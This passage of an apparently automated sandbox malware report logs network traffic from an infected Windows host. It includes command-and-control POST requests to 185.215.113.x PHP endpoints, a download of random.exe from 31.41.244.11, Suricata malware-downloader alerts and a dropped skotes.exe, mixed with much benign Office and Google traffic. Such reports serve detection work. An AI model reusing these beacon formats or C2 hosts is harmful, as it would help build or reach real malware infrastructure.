name="token"2e51d32c7f3cb4012e62c6857ef54bfda1e6a011b4cdd7d38616dedc88c3b25c0957e439------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AAFIJKKEHJDHJKFIECAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAFIJKKEHJDHJKFIECAAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 35 31 64 33 32 63 37 66 33 63 62 34 30 31 32 65 36 32 63 36 38 35 37 65 66 35 34 62 66 64 61 31 65 36 61 30 31 31 62 34 63 64 64 37 64 33 38 36 31 36 64 65 64 63 38 38 63 33 62 32 35 63 30 39 35 37 65 34 33 39 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 2d 2d 0d 0a Data Ascii: ------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="token"2e51d32c7f3cb4012e62c6857ef54bfda1e6a011b4cdd7d38616dedc88c3b25c0957e439------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AAFIJKKEHJDHJKFIECAA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 42 32 37 37 30 42 39 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78BB2770B95182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49724 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49819 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49938 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50113 -> 31.41.244.11:80

Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 28_2_002FBE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

28_2_002FBE30

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=OHzveTLUo7bbhBS&MD=+m+hrFxF HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
